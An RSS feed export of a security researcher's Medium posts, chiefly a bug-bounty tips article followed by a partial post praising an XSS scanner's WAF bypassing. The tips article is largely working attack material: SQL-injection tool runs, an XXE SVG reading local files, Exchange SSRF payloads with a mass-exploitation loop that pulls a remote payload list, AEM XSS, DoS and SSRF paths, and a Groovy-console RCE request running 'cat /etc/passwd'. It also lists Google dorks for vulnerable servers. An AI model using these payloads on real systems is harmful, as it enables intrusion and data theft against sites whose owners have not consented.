<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Emad Shanab on Medium]]></title>
        <description><![CDATA[Stories by Emad Shanab on Medium]]></description>
        <link>https://medium.com/@Alra3ees?source=rss-1764222123d3------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*-mBH-ghb5nFAC7if89H3nQ.jpeg</url>
            <title>Stories by Emad Shanab on Medium</title>
            <link>https://medium.com/@Alra3ees?source=rss-1764222123d3------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 21:52:23 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Alra3ees/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Some tips to earn your first bounty find XSS,Blind-XSS,SQLI,SSRF,LFI,LOG4J using some handy tools]]></title>
            <link>https://medium.com/@Alra3ees/some-tips-to-earn-your-first-bounty-find-xss-blind-xss-sqli-ssrf-lfi-log4j-using-some-handy-tools-2ae31afeae1a?source=rss-1764222123d3------2</link>
            <guid isPermaLink="false">https://medium.com/p/2ae31afeae1a</guid>
            <dc:creator><![CDATA[Emad Shanab]]></dc:creator>
            <pubDate>Thu, 14 Dec 2023 01:52:47 GMT</pubDate>
            <atom:updated>2023-12-14T02:04:41.873Z</atom:updated>
            <content:encoded><![CDATA[<h2>Some tips to earn your first bounty to find XSS,Blind-XSS,SQLI,SSRF,LFI,LOG4J using some handy automation tools.</h2><p>بدون مقدمات</p><p>بسم الله الرحمن الرحيم.</p><p>الثمن لهذا البوست فقط دعوة صالحه في علم الغيب.</p><p>First:- find your target and get the subdomains via many tools on github,shodan,etc or use public-bugbounty-programs from chaos or arkadiyt.</p><p>curl -s https://raw.githubusercontent.com/projectdiscovery/public-bugbounty-programs/main/chaos-bugbounty-list.json | jq “.[][] | select(.bounty==true) | .domains[]” -r &gt; targets.txt</p><p>curl -s “https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/main/data/domains.txt” | anew targets.txt</p><p>curl -s “https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/main/data/wildcards.txt” | anew target-wildcards.txt</p><p>If you want to hunt on your account on bug bounty platforms use bbscope</p><p>Hackerone</p><p>bbscope h1 -a -u &lt;username&gt; -t &lt;token&gt; -b &gt; bbscope-h1.txt</p><p>Bugcrowd</p><p>bbscope bc -t &lt;token&gt; -b &gt; bbscope-bc.txt</p><p>Intigriti</p><p>bbscope it -t &lt;token&gt; -b &gt; bbscope-it.txt</p><p>Use this kali linux free VPS if you do not have money to purchase a paid VPS.</p><p>https://shell.segfault.net/</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Install waymore to get the history of your target</p><p>git clone https://github.com/xnl-h4ck3r/waymore.git /opt/waymore || git -C /opt/waymore pull</p><p>pip3 install -r /opt/waymore/requirements.txt</p><p>ln -s /opt/waymore//waymore.py /usr/local/bin/waymore</p><p>chmod +x /usr/local/bin/waymore</p><p>python error run</p><p>sudo ln -s /usr/bin/python3 /usr/bin/python</p><p>URLSCAN_API_KEY</p><p>/opt/waymore/config.yml</p><p>https://urlscan.io/user/profile/</p><p>urls file:-</p><p>cat url.txt | while read host do;do. waymore -i $host |anew /root/urls-his.txt ;done</p><p>Single url</p><p>waymore -i http://google.com |anew /root/google-his.txt</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Use gf Patterns:-</p><p>cat urls-his | gf sql | anew sql</p><p>cat urls-his | gf xss | anew xss</p><p>cat urls-his | gf ssrf | anew ssrf</p><p>cat urls-his | gf lfi |anew lfi</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Run ghauri to test for sql injection:-</p><p>cat sql | while read host do;do ghauri -u $host — batch — level=3. -b — current-user — current-db — hostname — dbs ;done</p><p>Run sqlmap to test for sql injection:-</p><p>sqlmap -m sql -batch — random-agent — level 5 — risk 3</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Run knoxnl to test GET and POST XSS — KNOXSS API by Brute Logic, you must have a valid KNOXSS API key</p><p>knoxnl -i xss -s -X BOTH</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>For non knoxss users you can use xsstrike</p><p>Install it:-</p><p>git clone https://github.com/s0md3v/XSStrike.git /opt/xsstrike || git -C /opt/xsstrike pull</p><p>pip3 install -r /opt/xsstrike/requirements.txt</p><p>ln -s /opt/xsstrike/xsstrike.py /usr/local/bin/xsstrike</p><p>chmod +x /usr/local/bin/xsstrike</p><p>Single url</p><p>xsstrike -f url</p><p>urls file:-</p><p>xsstrike — seeds xss -t 10 — blind ( add your blind xss on /opt/xsstrike/core/config.py)</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>surf allows you to filter a list of hosts, returning a list of viable SSRF candidates</p><p>surf -l ssrf -t 10 -c 200</p><p>ssrf-finder</p><p>cat ssrf | ssrf-finder</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Test for lfi via httpx or nuclei</p><p>httpx -l lfi -paths /root/LFI-files -threads 100 -random-agent. -mc 200 -mr “root:[x*]:0:0:”</p><p>nuclei -l urls-his -c 200 -tags lfi</p><p>nuclei fuzzing templates</p><p>nuclei -l urls-his -c 200 -t fuzzing-templates -s critical,high</p><p>Run nuclei with some tags:-</p><p>nuclei -c 500 -l urls.txt -t nuclei-templates/ -severity critical,high -ept ssl,tcp -tags cve,rce,log4j,grafana,tomcat,solar,apache,lfi,ssrf,sql,xxe,symfony,exposure,traversal,panel,default-login,confluence,vmware,vcenter -o url_results.txt</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Great script and some fuzzing templates</p><p>NucleiFuzzer</p><p>https://github.com/0xKayala/NucleiFuzzer</p><p>Fuzz templates</p><p>https://github.com/U53RW4R3/nuclei-fuzzer-templates</p><p>https://github.com/projectdiscovery/fuzzing-templates</p><p>https://github.com/pikpikcu/nuclei-fuzz</p><p>https://github.com/vijay922/XXE-FUZZ</p><p>https://github.com/MR-pentestGuy/nuclei-templates</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Sensitive files.</p><p>cat urls | gauplus -subs | grep — -color -E. “.xls | \\. xml | \\.xlsx | \\.json | \\. pdf | \\.sql | \\. doc| \\.docx | \\. pptx| \\.txt| \\.zip| \\.tar.gz| \\.tgz| \\.bak| \\.7z| \\.rar”</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>secrets via nuclei exposures templates</p><p>cat urls | gauplus -subs | grep “.js” |. httpx -content-type | grep ‘application/javascript’” | awk ‘{print $1}’ | nuclei. -t nuclei-templates/http/exposures/ -silent. &gt; secrets.txt</p><p>extract sensitive end-point in JS</p><p>cat urls | gauplus -subs | grep “.js” | anew jsfiles.txt| cat jsfiles.txt | grep -oh “\”\/[a-zA-Z0–9_/?=&amp;]*\”” | sed -e ‘s/^”//’ -e ‘s/”$//’ | sort -u</p><p>secrets via burp suite</p><p>cat jsfiles.txt | parallel -j 100 curl — proxy http://127.0.0.1:8080 -sk &gt; /dev/null</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Send jsfiles.txt to burpsuite JS Miner extension form burp store.</p><p>cat jsfiles.txt | parallel -j 100 curl — proxy http://127.0.0.1:8080 -sk &gt; /dev/null</p><p>Use GAP-Burp-Extension to find potential endpoints, parameters, and generate a custom target wordlist to test for IDORS.</p><p>If you have found somthing you can use dirsearch to fuzz for some juicy files you can run it against multiple hosts</p><p>cat hosts | xargs -I@ sh -c ‘python3 dirsearch.py -r 3 -t 500 -b -w path -u @ -i 200, 403, 401, 302 -e. conf,config,bak,backup,swp,old,db,sql,asp,aspx,aspx~,asp~,py,py~,rb,rb~,php,php~,bak,bkp,cache,cgi,conf,csv,html,inc,jar,js,json,jsp,jsp~,lock,log,rar,old,sql,sql.gz,sql.zip,sql.tar.gz,sql~,swp,swp~,tar,tar.bz2,tar.gz,txt,wadl,zip,log,xml,js,json’ -x 400,500,429</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Run gospider and proxit it to burpsuite to collect more urls:-</p><p>gospider -S urls-his -a -w — sitemap -r -c 20 -d 8 -p http://127.0.0.1:8080</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Blind xss match and replace or use burp extension auto-repeater or Femida</p><p>^Referer.*$</p><p>Referer: xsshunter</p><p>^User-Agent.*$</p><p>User-Agent:xsshunter</p><p>Steps to Add Custom Header in Burp Requests</p><p>Select Proxy -&gt; Options</p><p>Go to Match and Replace and select add</p><p>Specify the details of the match and replace</p><p>Type: Request Header</p><p>Match: ^Referer.*$</p><p>Replace : Referer: xsshunter</p><p>Comment: Manually Added Header</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Femida</p><p>Add your blind xss payloads on</p><p>https://github.com/emadshanab/femida/blob/master/payloads.txt</p><p>Install the tool and run the proxy and spiders</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>auto-repeater add Add Custom Header</p><p>install auto-repeater from burp store</p><p>go to auto-repeater tab</p><p>Type : Add header</p><p>Match: User-Agent</p><p>Replace: User-Agent:xsshunter</p><p>Which: Replace all</p><p>Comment: User-Agent-blind xss</p><p>Regex match : checked</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>log4j2Scan use burp extension auto-repeater</p><p>Type : Add header</p><p>Match: User-Agent</p><p>Replace: User-Agent:https://canarytokens.org/generate</p><p>Which: Replace all</p><p>Comment: User-Agent-log4j2Scan</p><p>Regex match : checked</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>log4j2Scan VIA log4j2Scan burp extension</p><p>git clone https://github.com/pmiaowu/log4j2Scan</p><p>install mvn</p><p>apt-get install apache-maven</p><p>Build the extension</p><p>mvn package</p><p>Register an account on https://ceye.io/</p><p>Go to log4jScanBurp/target/log4jScan/resources/config.yml</p><p>Change provider: “Ceye”</p><p>Add your. other: “token=ceyetoken;Identifier=id.ceye.io;”</p><p>Install the extension and just run proxy or passive or active scan and it will work to find log4j bug</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>You can use nuclei log4j templates</p><p>https://github.com/reewardius/log4shell-templates</p><p>https://github.com/emadshanab/Nuclei-Templates-Collection</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Proxyshell</p><p>nuclei scanner for proxyshell ( CVE-2021–34473 )</p><p>https://github.com/emadshanab/Proxyshell-Scanner</p><p>nuclei -urls -t proxyshell.yaml -c 400 -o output.txt</p><p>python3 CVE-2022–41040.py -u url and you will get a shell on the server</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>CVE-2022–41040-POC Server Side Request Forgery (SSRF) in Microsoft Exchange Server</p><p>Manual exploiation</p><p>Replace COLLABHERE with your OOB domain — sed ‘s/COLLABHERE/&lt;oob-domain&gt;/g</p><p>Add payloads next to URLs you want to test — echo http://target.com|unfurl format %s://%d/&lt;payload&gt;</p><p>Visit crafted URLs</p><p>Check your collaborator</p><p>Payloads:</p><p>/autodiscover/autodiscover.json?@%d.v1.COLLABHERE/&amp;Email=autodiscover/autodiscover.json%3f@%d.v1.COLLABHERE</p><p>/autodiscover/autodiscover.json/v1.0/aa@%d.v2.COLLABHERE?Protocol=Autodiscoverv1</p><p>/autodiscover/autodiscover.json/v1.0/aa..@%d.v3.COLLABHERE/owa/?&amp;Email=autodiscover/autodiscover.json?a..@%d.v3.COLLABHERE&amp;Protocol=Autodiscoverv1&amp;Protocol=Powershell</p><p>/autodiscover/autodiscover.json/v1.0/aa@%d.v4.COLLABHERE/owa/?&amp;Email=autodiscover/autodiscover.json?a@%d.v4.COLLABHERE&amp;Protocol=Autodiscoverv1&amp;Protocol=Powershell</p><p>/autodiscover/autodiscover.json?aa..%d.v5.COLLABHERE/owa/?&amp;Email=autodiscover/autodiscover.json?a..%d.v5.COLLABHERE&amp;Protocol=Autodiscoverv1&amp;%d.v5.COLLABHEREProtocol=Powershell</p><p>/autodiscover/autodiscover.json?aa@%d.v6.COLLABHERE/owa/?&amp;Email=autodiscover/autodiscover.json?a@%d.v6.COLLABHERE&amp;Protocol=Autodiscoverv1&amp;%d.v6.COLLABHEREProtocol=Powershell</p><p>/autodiscover/autodiscover.json?aa..%d.v7.COLLABHERE/owa/?&amp;Email=aa@autodiscover/autodiscover.json?a..%d.v7.COLLABHERE&amp;Protocol=Autodiscoverv1&amp;%d.v7.COLLABHEREProtocol=Powershell</p><p>/autodiscover/autodiscover.json?aa@%d.v8.COLLABHERE/owa/?&amp;Email=aa@autodiscover/autodiscover.json?a@%d.v8.COLLABHERE&amp;Protocol=Autodiscoverv1&amp;%d.v8.COLLABHEREProtocol=Powershell</p><p>/autodiscover/autodiscover.json/v1.0/aa@autodiscover/autodiscover.json?a..@%d.v9.COLLABHERE&amp;Protocol=Autodiscoverv1&amp;Protocol=Powershell</p><p>Mass exploitation</p><p>for url in $(curl -s https://gist.githubusercontent.com/kljunowsky/a2e8392f63fb8d7c0443f2011bce59ec/raw/7b4cabaa0dab7113b1cab00e1a2cb0c4e3c6ed06/cve-2022-41040-unfurl-payloads.txt|sed ‘s/COLLABHERE/&lt;OOB-PAYLOAD&gt;/g’); do cat targets.txt |unfurl format $url &gt;&gt; fuzz-ready.txt;done &amp; ffuf -w fuzz-ready.txt -u FUZZ</p><p>Check your collaborator!</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Use google dork to find upload forms to inject blind xss via svg file</p><p>Dork: “Index of” “upload_image.php”</p><p>Dork: “index of” “Production.json”</p><p>index.of.?.frm</p><p>intitle:”index of” “nrpe.cfg”</p><p>index of admin/fckeditor/editor/filemanager/</p><p>inurl:demo.browse.php intitle:getid3</p><p>-site:simplemachines.org “These are the paths and URLs to your SMF installation”</p><p>allinurl:forcedownload.php?file=</p><p>ionCube Loader Wizard information disclosure</p><p>vBulletin Install Page Detection</p><p>inurl:”simplenews/admin”</p><p>inurl:updown.php | intext:”Powered by PHP Uploader Downloader”</p><p>inurl:guestbook/guestbooklist.asp “Post Date” From</p><p>intitle:”CJ Link Out V1&quot;</p><p>“powered by my little forum”</p><p>“powered by mailgust”</p><p>intitle:”Control panel” “Control Panel Login” ArticleLive inurl:admin -demo</p><p>inurl:cartwiz/store/index.asp</p><p>“maxwebportal” inurl:”default” “snitz forums” +”homepage” -intitle:maxwebportal</p><p>“e107.org 2002/2003&quot; inurl:forum_post.php?nt</p><p>“Warning:” “Cannot execute a blank command in”</p><p>“Mail-it Now!” intitle:”Contact form” | inurl:contact.php</p><p>“Powered by Xcomic”</p><p>“Powered by FunkBoard”</p><p>“Powered by FlexPHPNews” inurl:news | inurl:press</p><p>PHPFreeNews inurl:Admin.php</p><p>inurl:nquser.php filetype:php</p><p>“Powered by SilverNews”</p><p>“Powered by Gravity Board”</p><p>“Powered By: Simplicity oF Upload” inurl:download.php | inurl:upload.php</p><p>filetype:mdb “standard jet” (password | username | user | pass)</p><p>intitle:”PHPstat” intext:”Browser” intext:”PHPstat setup”</p><p>intitle:”SSHVnc Applet”OR intitle:”SSHTerm Applet”</p><p>inurl:cgi-bin inurl:bigate.cgi</p><p>filetype:pl -intext:”/usr/bin/perl” inurl:webcal (inurl:webcal | inurl:add | inurl:delete | inurl:config)</p><p>filetype:mdb inurl:”news/news”</p><p>inurl:php.exe filetype:exe -example.com</p><p>“Powered by Land Down Under 601&quot;</p><p>ext:asp “powered by DUForum” inurl:(messages|details|login|default|register) -site:duware.com</p><p>ext:asp inurl:DUgallery intitle:”3.0&quot; -site:dugall</p><p>filetype:cgi inurl:cachemgr.cgi</p><p>“powered by YellDL”</p><p>“File Upload Manager v1.3&quot; “rename to”</p><p>inurl:click.php intext:PHPClickLog</p><p>intitle:”phpremoteview” filetype:php “Name, Size,</p><p>intitle:”ASP FileMan” Resend -site:iisworks.com</p><p>ezBOO “Administrator Panel” -cvs</p><p>intitle:mywebftp “Please enter your password”</p><p>intitle:”Directory Listing” “tree view”</p><p>inurl:changepassword.cgi -cvs</p><p>inurl:” WWWADMIN.PL” intitle:”wwwadmin”</p><p>inurl:cgi.asx?StoreID</p><p>filetype:lit lit (books|ebooks)</p><p>“create the Super User” “now by clicking here”</p><p>intitle:gallery inurl:setup “Gallery configuration”</p><p>inurl:”nph-proxy.cgi” “Start browsing through this CGI-based proxy”</p><p>link:http://www.toastforums.com/</p><p>inurl:”plog/register.php”</p><p>inurl:robpoll.cgi filetype:cgi</p><p>intitle:”PHP Explorer” ext:php (inurl:phpexplorer.php | inurl:list.php | inurl:browse.php)</p><p>ext:cgi inurl:ubb6_test.cgi</p><p>filetype:inc inc intext:setcookie</p><p>filetype:wsdl wsdl</p><p>filetype:cnf my.cnf -cvs -example</p><p>filetype:php inurl:”viewfile” -”index.php” -”idfil</p><p>intitle:”Index of /” modified php.exe</p><p>Blind XSS in SVG FILE — change blind xss url and save it to any name as blindxss.svg or any extension like jpg,png.ico etc…</p><blockquote>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</blockquote><p>Do not forget to inject a SSRF via uploading svg file</p><p>.</p><p>SSRF in SVG FILE — change ssrf. url and save it to any name as blindxss.svg or any extension like jpg,png.ico etc…</p><p>.</p><p>.</p><p>SSRF in SVG FILE</p><p>.</p><p>.</p><p>. &lt;?xml version=”1.0&quot; encoding=”UTF-8&quot; standalone=”no”?&gt;</p><p>&lt;svg xmlns:svg=”http://www.w3.org/2000/svg” xmlns=”http://www.w3.org/2000/svg” xmlns:xlink=”http://www.w3.org/1999/xlink” width=”200&quot; height=”200&quot;&gt;</p><p>&lt;image height=”200&quot; width=”200&quot; xlink:href=”http://&lt;EXAMPLE_SERVER&gt;/image.jpeg” /&gt;</p><p>&lt;/svg&gt;</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>XXE attack via SVG</p><p>An SVG “image” that uses an XXE attack to embed the hostname file of whichever system processes it into the image itself</p><p>&lt;?xml version=”1.0&quot; standalone=”yes”?&gt;&lt;!DOCTYPE test [ &lt;!ENTITY xxe SYSTEM “file:///etc/hostname” &gt; ]&gt;&lt;svg width=”128px” height=”128px” xmlns=”http://www.w3.org/2000/svg” xmlns:xlink=”http://www.w3.org/1999/xlink” version=”1.1&quot;&gt;&lt;text font-size=”16&quot; x=”0&quot; y=”16&quot;&gt;&amp;xxe;&lt;/text&gt;&lt;/svg&gt;</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Hunt for Adobe Experience Manager (AEM)</p><p>Find AEM hosts via nuclei and aem-hacker</p><p>nuclei -l urls -tags aem -c 500 -o aem-resulte</p><p>python3 aem_discoverer.py — file urls.txt — workers 150</p><p>Top AEM misconfiguration</p><p>Here is how to find Bug on Adobe Experience Manager :</p><p>1) Collect as many subdomains as you can and find the technology of aem can use Nuclei templet for it.</p><p>2) fuzz the parameters of aem — https://github.com/clarkvoss/AEM-List/blob/main/paths</p><p>3) aem tools useful for testing — https://github.com/0ang3el/aem-hacker</p><p>4) cve-2016–0957</p><p>https://aemsite/bin/querybuilder.json/a.css. =&gt; allow</p><p>https://aemsite/bin/querybuilder.json/a.html. =&gt; allow</p><p>https://aemsite/bin/querybuilder.json;%0aa.css. =&gt; allow</p><p>https://aemsite/bin/querybuilder.json/a.1.json. =&gt; allow</p><p>5) xss</p><p>POST //////content/usergenerated/etc/commerce/smartlists/vv.json</p><p>or , POST /content/usergenerated/etc/commerce/smartlists/xss</p><p>aa=alert(‘xss+on+’%2b+document.domain+%2b+’\nby+%400ang3el+\ud83d\ude00&#39;)%3b</p><p>6) DOs attacks</p><ul><li>/bin/querybuilder.json?type=nt:base&amp;p.limit=-1</li><li>- /content.assetsearch.json?query=*&amp;start=0&amp;limit=10&amp;random=123</li><li>- /..assetsearch.json?query=*&amp;start=0&amp;limit=10&amp;random=123</li><li>- /system/bgservlets/test.json?cycles-999999&amp;interval=0&amp;flushEvery=111111111</li></ul><p>7) SSRF</p><p>ssrf via Opensocial proxy</p><p>— /libs/opensocial/proxy?container=default&amp;url=http://target</p><p>— /libs/shindig/proxy?container=default&amp;url=http://target</p><p>SSRF via ReportingServicesProxyServlet (CVE-2018–12809)</p><p>-/libs/ca/contentinsight/content/proxy.reportingservices.json?url=</p><ul><li>/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet?url=http://target%23/apil.omniture.com/a&amp;q=a</li><li>- /libs/mcm/salesforce/customer.json?checkType=authorize&amp;authorization_url=http://target&amp;customer_key=zzzz&amp;customer_secret-zzzz&amp;redirect_uri=xxxx&amp;code=e</li><li>SSRF via SiteCatalystServlet</li><li>- /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet</li><li>- /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json</li><li>ssrf should allow to send GET request and see response</li><li>- Opensocial proxy</li><li>- ssrf in (cve-2018–12809)</li></ul><p>8) interesting servlets</p><p>https://aemsite/bin/querybuilder.json.servlet.css. =&gt; allow</p><p>https://aemsite/bin/querybuilder.json.servlet.html =&gt; allow</p><p>https://aemsite/bin/querybuilder.json.servlet.ico. =&gt; allow</p><p>https://aemsite/bin/querybuilder.json.servlet.png. =&gt; allow</p><p>///etc.json</p><p>9) RCE</p><p>POST /bin/groovyconsole/post.servlet HTTP/1.1</p><p>script=sef+proc+%3d+”cat+/etc/passwd”.execute()%0d%0aprintln+proc.txt</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Tools used and references:-</p><p>https://github.com/r0oth3x49/ghauri</p><p>https://github.com/xnl-h4ck3r/knoxnl</p><p>https://github.com/random-robbie/ssrf-finder</p><p>https://github.com/tomnomnom/gf</p><p>https://github.com/emadshanab/Gf-Patterns-Collection</p><p>https://github.com/hussein98d/LFI-files</p><p>https://github.com/assetnote/surf/</p><p>https://github.com/random-robbie/ssrf-finder</p><p>https://github.com/emadshanab/Blind-XSS-burp-match-and-replace</p><p>https://github.com/PortSwigger/auto-repeater</p><p>https://github.com/emadshanab/femida</p><p>https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md</p><p>https://gist.github.com/rootsploit/66c9ae8fc3ef387fa5ffbb67fcef0766</p><p>https://bxsshunter.com/</p><p>https://xsshunter.trufflesecurity.com/</p><p>https://xsshunter.com/</p><p>https://xss.report/</p><p>https://knoxss.me/</p><p>https://github.com/xnl-h4ck3r/GAP-Burp-Extension</p><p>https://hackerone.com/reports/223203</p><p>https://sm4rty.medium.com/hunting-for-bugs-in-file-upload-feature-c3b364fb01ba</p><p>https://infosecwriteups.com/svg-ssrfs-and-saga-of-bypasses-777e035a17a7</p><p>https://www.exploit-db.com/docs/49732</p><p>https://gist.github.com/jakekarnes42/b879f913fd3ae071c11199b9bd7ba3a7?short_path=f3432ae</p><p>https://hackerone.com/reports/845832</p><p>https://github.com/0ang3el/aem-hacker</p><p>https://github.com/ZephrFish/Wordlists/tree/master</p><p>https://github.com/orwagodfather/My-WordLISTs/tree/main</p><p>https://github.com/clarkvoss/AEM-List/tree/main</p><p>https://github.com/pmiaowu/log4j2Scan</p><p>https://github.com/emadshanab/Bug-Bounty-Tips-Collection</p><p>https://github.com/emadshanab/Oneliner-Bug-Bounty-Collection</p><p>https://github.com/kljunowsky/CVE-2022-41040-POC</p><p>https://twitter.com/0day_exploit_/status/1719608600035807328?s=43&amp;t=xWT5sBWOPrvX-OphaqPtqA</p><p>https://buaq.net/go-90376.html</p><p>https://github.com/emadshanab/Content-Discovery-Web-Dir-Bruteforce-wordlists-Collection</p><p>https://github.com/emadshanab/Subdomains-brutforce-wordlists-collection</p><p>https://github.com/emadshanab/SAP-wordlist</p><p>https://github.com/emadshanab/DIR-WORDLISTS</p><p>https://github.com/sw33tLie/bbscope</p><p>https://flawed.net.nz/2019/01/14/WebApp-Testing-With-AutoRepeater/</p><p>https://censys.io</p><p>https://spyce.com</p><p>https://shodan.io</p><p>https://viz.greynoise.io</p><p>https://zoomeye.org</p><p>https://onyphe.io</p><p>https://wigle.net</p><p>https://intelx.io</p><p>https://fofa.so</p><p>https://hunter.io</p><p>https://zorexeye.com</p><p>https://pulsedive.com</p><p>https://netograph.io</p><p>https://vigilante.pw</p><p>https://pipl.com</p><p>https://abuse.ch</p><p>https://cert.sh</p><p>https://maltiverse.com/search</p><p>https://insecam.org</p><p>https://jldc.me/anubis/subdomains/</p><p>https://dnsdumpster.com</p><p>https://phonebook.cz</p><p>https://labs.inquest.net</p><p>https://scylla.sh</p><p>https://hunter.how</p><p>https://synapsint.com</p><p>Good luck to everyone.</p><p>Emad Shanab — أبو عبد الله</p><p>@Alra3ees</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2ae31afeae1a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[KNOXSS The WAFs Slayer.]]></title>
            <link>https://medium.com/@Alra3ees/knoxss-the-wafs-slayer-eaa9763cda78?source=rss-1764222123d3------2</link>
            <guid isPermaLink="false">https://medium.com/p/eaa9763cda78</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cross-site-scripting]]></category>
            <dc:creator><![CDATA[Emad Shanab]]></dc:creator>
            <pubDate>Tue, 04 Dec 2018 02:10:32 GMT</pubDate>
            <atom:updated>2018-12-04T02:23:02.926Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g8l1M2iu4pIjlXt2qxFNXQ.png" /></figure><p><strong>Knoxss</strong> is a famous tool which finds and generates poc for a common web application flaw Cross Site Scripting.<em> Cross site scripting </em>is a type of injection, in which malicious java-script code is injected into otherwise benign and trusted websites. Cross site scripting, which seems like a simple harmless ‘alert’ box, has a lot of impact if exploited the right way. A simple XSS can be turned into an account takeover.</p><p>Why <strong>Knoxss</strong>? Why not some cli script you ask me. Cross site scripting, is a bug which can trigger at many places, in different parameters etc. Some people do like to throw XSS payloads, which work as well, but what <strong>Knoxss</strong> does is automation, testing different cases, trying different tactics and then generating a PoC. Which saves a lot of time, giving you some time to test other things and not waste all energy on it.</p><p><strong>Knoxss</strong> can also bypass some WAFs in place. You must know that Brutelogic has quite experience working with JavaScript and WAFs &amp; it so does reflects that from the tool.</p><p>I personally have bypassed almost all the WAFs I ever encountered during my pentest with its help. Its not that I am using a special Brute-version of it, but using my own methodology, I use the tool on the right place.</p><h4>Some of my achievements in 2018 which were made possible by Knoxss:-</h4><p><em>1:- XSS in private site on hackerone —1800 $</em></p><p><em>2:- XSS in private site on hackerone —1200 $</em></p><p><em>3:- XSS in private site on Bugcrowd— 300 $</em></p><p><em>4:- XSS in private site on hackerone — 80 $</em></p><p><em>5:- XSS in ING BANK — Bounty.</em></p><p><em>6:- XSS in ABNAMRO BANK — Bounty.</em></p><p><em>7:- XSS in American Express. No response.</em></p><p><em>8:- XSS in private sites out of any bug bounty platform –more than 6000$</em></p><h3><strong>My Methodology for Finding XSS:</strong></h3><ol><li>Reconnaissance &amp; Enumeration</li><li><strong>Knoxss</strong></li></ol><p><strong>Recon</strong>:</p><p>Before blindly using <strong>knoxss</strong>, it is important to do some recon so that you dont waste your time. Collecting different subdomains, endpoints, parameters is necessary and <strong>BurpSuite</strong> is your best friend here. It has many inbuilt tools which will help you.</p><p><strong>PoC of getting XSS on an endpoint collected by Burpsuite Content Discovery:</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FbIf4vTaucdk%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DbIf4vTaucdk&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FbIf4vTaucdk%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/6a7ad224a0fd6fa596d40c1d74cceafd/href">https://medium.com/media/6a7ad224a0fd6fa596d40c1d74cceafd/href</a></iframe><h3><strong>Wordlists to use in Burpsuite Content Discovery:</strong></h3><p><strong>All.txt by the great </strong><a href="https://twitter.com/Jhaddix"><strong>@Jhaddix </strong></a><strong>‏</strong></p><p><a href="https://gist.github.com/jhaddix">jhaddix&#39;s gists</a></p><p><strong>SecLists by Daniel Miessler</strong></p><p><a href="https://github.com/danielmiessler/SecLists">GitHub - danielmiessler/SecLists: SecLists is the security tester&#39;s companion. 